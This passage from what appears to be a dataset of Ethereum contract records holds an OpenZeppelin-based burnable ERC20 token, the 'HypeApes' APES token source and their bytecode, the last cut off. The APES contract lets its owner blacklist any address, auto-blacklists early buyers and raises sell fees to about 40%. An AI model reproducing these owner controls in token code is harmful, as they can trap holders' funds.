spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol pragma solidity ^0.8.0; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), currentAllowance - amount); _burn(account, amount); } } // File: contracts/token/ERC20/behaviours/ERC20Decimals.sol pragma solidity ^0.8.0; /** * @title ERC20Decimals * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot. */ abstract contract ERC20Decimals is ERC20 { uint8 immutable private _decimals; /** * @dev Sets the value of the `decimals`. This value is immutable, it can only be * set once during construction. */ constructor (uint8 decimals_) { _decimals = decimals_; } function decimals() public view virtual override returns (uint8) { return _decimals; } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/token/ERC20/BurnableERC20.sol pragma solidity ^0.8.0; /** * @title BurnableERC20 * @dev Implementation of the BurnableERC20 */ contract BurnableERC20 is ERC20Decimals, ERC20Burnable, ServicePayer { constructor ( string memory name_, string memory symbol_, uint8 decimals_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ERC20Decimals(decimals_) ServicePayer(feeReceiver_, "BurnableERC20") payable { require(initialBalance_ > 0, "BurnableERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } function decimals() public view virtual override(ERC20, ERC20Decimals) returns (uint8) { return super.decimals(); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806342966c681161008c57806395d89b411161006657806395d89b41146101cf578063a457c2d7146101d7578063a9059cbb146101ea578063dd62ed3e146101fd57600080fd5b806342966c681461017e57806370a082311461019357806379cc6790146101bc57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a578063395093511461016b575b600080fd5b6100dc610236565b6040516100e99190610a4e565b60405180910390f35b610105610100366004610a0d565b6102c8565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046109d2565b6102de565b60405160ff7f00000000000000000000000000000000000000000000000000000000000000121681526020016100e9565b610105610179366004610a0d565b610394565b61019161018c366004610a36565b6103cb565b005b6101196101a136600461097f565b6001600160a01b031660009081526020819052604090205490565b6101916101ca366004610a0d565b6103d8565b6100dc610460565b6101056101e5366004610a0d565b61046f565b6101056101f8366004610a0d565b61050a565b61011961020b3660046109a0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461024590610ad0565b80601f016020809104026020016040519081016040528092919081815260200182805461027190610ad0565b80156102be5780601f10610293576101008083540402835291602001916102be565b820191906000526020600020905b8154815290600101906020018083116102a157829003601f168201915b5050505050905090565b60006102d5338484610517565b50600192915050565b60006102eb84848461063c565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156103755760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61038985336103848685610ab9565b610517565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916102d5918590610384908690610aa1565b6103d53382610814565b50565b60006103e4833361020b565b9050818110156104425760405162461bcd60e51b8152602060048201526024808201527f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f77604482015263616e636560e01b606482015260840161036c565b61045183336103848585610ab9565b61045b8383610814565b505050565b60606004805461024590610ad0565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104f15760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161036c565b61050033856103848685610ab9565b5060019392505050565b60006102d533848461063c565b6001600160a01b0383166105795760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161036c565b6001600160a01b0382166105da5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161036c565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166106a05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161036c565b6001600160a01b0382166107025760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161036c565b6001600160a01b0383166000908152602081905260409020548181101561077a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161036c565b6107848282610ab9565b6001600160a01b0380861660009081526020819052604080822093909355908516815290812080548492906107ba908490610aa1565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161080691815260200190565b60405180910390a350505050565b6001600160a01b0382166108745760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161036c565b6001600160a01b038216600090815260208190526040902054818110156108e85760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161036c565b6108f28282610ab9565b6001600160a01b03841660009081526020819052604081209190915560028054849290610920908490610ab9565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161062f565b80356001600160a01b038116811461097a57600080fd5b919050565b600060208284031215610990578081fd5b61099982610963565b9392505050565b600080604083850312156109b2578081fd5b6109bb83610963565b91506109c960208401610963565b90509250929050565b6000806000606084860312156109e6578081fd5b6109ef84610963565b92506109fd60208501610963565b9150604084013590509250925092565b60008060408385031215610a1f578182fd5b610a2883610963565b946020939093013593505050565b600060208284031215610a47578081fd5b5035919050565b6000602080835283518082850152825b81811015610a7a57858101830151858201604001528201610a5e565b81811115610a8b5783604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610ab457610ab4610b0b565b500190565b600082821015610acb57610acb610b0b565b500390565b600181811c90821680610ae457607f821691505b60208210811415610b0557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122007db0ffe887084b80ed18dc7c532792be238105834a255024fd79974a98c9f5364736f6c63430008040033
[ 38 ]
0xf36119c88fb85ffa09219dd8e8bdba5007ce2aa0
/** * * * * SPDX-License-Identifier: UNLICENSED * */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract APES is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"HypeApes"; string private constant _symbol = unicode"APES"; uint256 private minContractTokensToSwap = 1e9 * 10**9; uint8 private constant _decimals = 9; uint256 private _taxFee = 0; uint256 private _teamFee = 10; uint256 private _liquidityFeePercentage = 0; uint256 private _maxWalletPercentage = 1; uint256 private launchBlock = 0; uint256 private _maxBuyAmount; uint256 private _baseFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private _swapAll = false; bool private _takeFeeFromTransfer = false; bool private inSwap = false; bool private _noTaxMode = false; mapping(address => bool) private automatedMarketMakerPairs; event Response(bool feeSent, bool marketingSent); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_bots[from] && !_bots[to]); if (block.number <= launchBlock + 4) { if (from != uniswapV2Pair && from != address(uniswapV2Router)) { _bots[from] = true; } else if (to != uniswapV2Pair && to != address(uniswapV2Router)) { _bots[to] = true; } } if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); if (amount >= balanceOf(uniswapV2Pair).mul(25).div(100)) { _teamFee = _baseFee - 6; } else if (amount >= balanceOf(uniswapV2Pair).mul(15).div(100)) { _teamFee = _baseFee - 4; } else if (amount >= balanceOf(uniswapV2Pair).mul(5).div(100)) { _teamFee = _baseFee - 2; } else { _teamFee = _baseFee; } uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(_maxWalletPercentage).div(100), "amount exceeds max wallet holdings"); if (_maxBuyAmount > 0) { require(amount <= _maxBuyAmount, "amount exceeds max buy"); } } uint256 contractTokenBalance = balanceOf(address(this)); if(!inSwap && from != uniswapV2Pair && tradingOpen) { if (amount >= balanceOf(uniswapV2Pair).mul(25).div(100)) { _teamFee = _baseFee + 30; } else if (amount >= balanceOf(uniswapV2Pair).mul(15).div(100)) { _teamFee = _baseFee + 15; } else if (amount >= balanceOf(uniswapV2Pair).mul(5).div(100)) { _teamFee = _baseFee + 5; } else { _teamFee = _baseFee; } if(contractTokenBalance > minContractTokensToSwap) { if(!_swapAll) { contractTokenBalance = minContractTokensToSwap; } if (_liquidityFeePercentage > 0) { swapAndLiquify(contractTokenBalance); } else { swapWithoutLiquify(contractTokenBalance); } } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode) { takeFee = false; } if(!_takeFeeFromTransfer && !automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to]) { takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 teamFeePercentage = 100 - _liquidityFeePercentage; uint256 amtForLiquidity = contractTokenBalance.mul(_liquidityFeePercentage).div(100); uint256 halfLiq = amtForLiquidity.div(2); uint256 amountToSwapForETH = contractTokenBalance.sub(halfLiq); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 feeBalance = ethBalance.mul(teamFeePercentage).div(100); sendETHToFee(feeBalance); uint256 ethForLiquidity = ethBalance - feeBalance; if (halfLiq > 0 && ethForLiquidity > 0) { // add liquidity addLiquidity(halfLiq, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, amtForLiquidity); } } function swapWithoutLiquify(uint256 contractTokenBalance) private lockTheSwap { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function manualSwapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { (bool fee, ) = _FeeAddress.call{value: amount.mul(3).div(10)}(""); (bool marketing, ) = _marketingWalletAddress.call{value: amount.mul(7).div(10)}(""); emit Response(fee, marketing); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; automatedMarketMakerPairs[uniswapV2Pair] = true; launchBlock = block.number; _maxBuyAmount = 2500000000 * 10**9; } function setMarketingWallet (address payable marketingWalletAddress) external onlyOwner() { _isExcludedFromFee[_marketingWalletAddress] = false; _marketingWalletAddress = marketingWalletAddress; _isExcludedFromFee[marketingWalletAddress] = true; } function setFeeAddress (address payable feeAddress) external onlyOwner() { _isExcludedFromFee[_FeeAddress] = false; _FeeAddress = feeAddress; _isExcludedFromFee[feeAddress] = true; } function excludeFromFee (address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee (address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTakeFeeFromTransfer(bool onoff) external onlyOwner() { _takeFeeFromTransfer = onoff; } function setBaseFee(uint256 fee) external onlyOwner() { require(fee <= 10, "Base fee must be less than 10"); _baseFee = fee; } function setTaxFee(uint256 tax) external onlyOwner() { require(tax <= 5, "tax must be less than 5"); _taxFee = tax; } function setNoTaxMode(bool onoff) external onlyOwner() { _noTaxMode = onoff; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { require(_liquidityFeePercentage >= 0 && _liquidityFeePercentage <= 100, "liquidity fee percentage must be between 0 to 100"); _liquidityFeePercentage = liquidityFee; } function setMinContractTokensToSwap(uint256 numToken) external onlyOwner() { minContractTokensToSwap = numToken; } function setMaxWalletPercentage(uint256 percentage) external onlyOwner() { require(percentage >= 0 && percentage <= 100, "max wallet percentage must be between 0 to 100"); _maxWalletPercentage = percentage; } function setMaxBuy(uint256 amt) external onlyOwner() { _maxBuyAmount = amt; } function setSwapAll(bool onoff) external onlyOwner() { _swapAll = onoff; } function setBots(address[] calldata bots_) external onlyOwner { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _bots[bots_[i]] = true; } } } function delBot(address notbot) external onlyOwner { _bots[notbot] = false; } function isBot(address ad) public view returns (bool) { return _bots[ad]; } function manualswap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); manualSwapTokensForEth(contractBalance); } function manualsend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner() { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; } }
0x6080604052600436106101f25760003560e01c80637a845ece1161010d578063c1187569116100a0578063cf0848f71161006f578063cf0848f7146106a2578063db92dbb6146106cb578063dd62ed3e146106f6578063de30aad114610733578063f53bc8351461075c576101f9565b8063c118756914610622578063c3c8cd801461064b578063c4081a4c14610662578063c9567bf91461068b576101f9565b806395d89b41116100dc57806395d89b41146105685780639a7a23d614610593578063a9059cbb146105bc578063b515566a146105f9576101f9565b80637a845ece146104c25780638705fcd4146104eb5780638da5cb5b146105145780638ee88c531461053f576101f9565b80633bbac579116101855780635d098b38116101545780635d098b381461042e5780636fc3eaec1461045757806370a082311461046e578063715018a6146104ab576101f9565b80633bbac57914610376578063437823ec146103b357806346860698146103dc5780634b740b1614610405576101f9565b806323b872dd116101c157806323b872dd146102ba578063273123b7146102f757806327f3a72a14610320578063313ce5671461034b576101f9565b806306fdde03146101fe578063095ea7b31461022957806312dfbd331461026657806318160ddd1461028f576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b50610213610785565b6040516102209190614b75565b60405180910390f35b34801561023557600080fd5b50610250600480360381019061024b9190614545565b6107c2565b60405161025d9190614b31565b60405180910390f35b34801561027257600080fd5b5061028d6004803603810190610288919061462c565b6107e0565b005b34801561029b57600080fd5b506102a461087f565b6040516102b19190614dd7565b60405180910390f35b3480156102c657600080fd5b506102e160048036038101906102dc91906144b2565b610890565b6040516102ee9190614b31565b60405180910390f35b34801561030357600080fd5b5061031e600480360381019061031991906143eb565b610969565b005b34801561032c57600080fd5b50610335610a59565b6040516103429190614dd7565b60405180910390f35b34801561035757600080fd5b50610360610a69565b60405161036d9190614e83565b60405180910390f35b34801561038257600080fd5b5061039d600480360381019061039891906143eb565b610a72565b6040516103aa9190614b31565b60405180910390f35b3480156103bf57600080fd5b506103da60048036038101906103d59190614445565b610ac8565b005b3480156103e857600080fd5b5061040360048036038101906103fe919061462c565b610bb8565b005b34801561041157600080fd5b5061042c600480360381019061042791906145d2565b610c9b565b005b34801561043a57600080fd5b5061045560048036038101906104509190614445565b610d4d565b005b34801561046357600080fd5b5061046c610ef8565b005b34801561047a57600080fd5b50610495600480360381019061049091906143eb565b610f9e565b6040516104a29190614dd7565b60405180910390f35b3480156104b757600080fd5b506104c0610fef565b005b3480156104ce57600080fd5b506104e960048036038101906104e4919061462c565b611142565b005b3480156104f757600080fd5b50610512600480360381019061050d9190614445565b611232565b005b34801561052057600080fd5b506105296113dd565b6040516105369190614a63565b60405180910390f35b34801561054b57600080fd5b506105666004803603810190610561919061462c565b611406565b005b34801561057457600080fd5b5061057d6114fa565b60405161058a9190614b75565b60405180910390f35b34801561059f57600080fd5b506105ba60048036038101906105b59190614505565b611537565b005b3480156105c857600080fd5b506105e360048036038101906105de9190614545565b61166b565b6040516105f09190614b31565b60405180910390f35b34801561060557600080fd5b50610620600480360381019061061b9190614585565b611689565b005b34801561062e57600080fd5b50610649600480360381019061064491906145d2565b6118c3565b005b34801561065757600080fd5b50610660611974565b005b34801561066e57600080fd5b506106896004803603810190610684919061462c565b611a22565b005b34801561069757600080fd5b506106a0611b05565b005b3480156106ae57600080fd5b506106c960048036038101906106c49190614445565b6120ac565b005b3480156106d757600080fd5b506106e061219c565b6040516106ed9190614dd7565b60405180910390f35b34801561070257600080fd5b5061071d60048036038101906107189190614472565b6121ce565b60405161072a9190614dd7565b60405180910390f35b34801561073f57600080fd5b5061075a600480360381019061075591906145d2565b612255565b005b34801561076857600080fd5b50610783600480360381019061077e919061462c565b612307565b005b60606040518060400160405280600881526020017f4879706541706573000000000000000000000000000000000000000000000000815250905090565b60006107d66107cf6123a6565b84846123ae565b6001905092915050565b6107e86123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086c90614cd7565b60405180910390fd5b8060098190555050565b6000683635c9adc5dea00000905090565b600061089d848484612579565b61095e846108a96123a6565b610959856040518060600160405280602881526020016156d260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061090f6123a6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461316a9092919063ffffffff16565b6123ae565b600190509392505050565b6109716123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f590614cd7565b60405180910390fd5b6000